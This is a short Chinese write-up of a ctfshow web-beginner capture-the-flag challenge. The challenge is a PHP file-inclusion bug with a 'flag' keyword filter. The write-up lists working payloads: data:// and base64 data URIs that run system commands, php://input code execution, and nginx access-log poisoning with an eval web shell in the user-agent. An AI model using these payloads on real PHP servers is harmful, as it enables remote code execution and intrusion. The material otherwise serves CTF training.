信息收集
題目有了變化,include$c
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
解題
通過協議解題
參考[ctfshow web入門] web31
同樣是include,之前的方法還是有效的,只是過濾了flag。只需稍微修改即可
?c=data://text/plain,<?php system("ls") ?>
?c=data://text/plain,<?php system("tac fla*") ?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
?c=php://input
post:
<?php system("ls") ?>
<?php system("tac flag.php") ?>
日志繞過
詳情參考[ctfshow web入門] web31,步驟一樣
重點:
http沒有s
url?c=/var/log/nginx/access.log
user-agent的末尾添加<?php eval($_POST[1]) ?>
此時1是密碼,不要使用$_GET
web36 ?? 目錄 ?? web38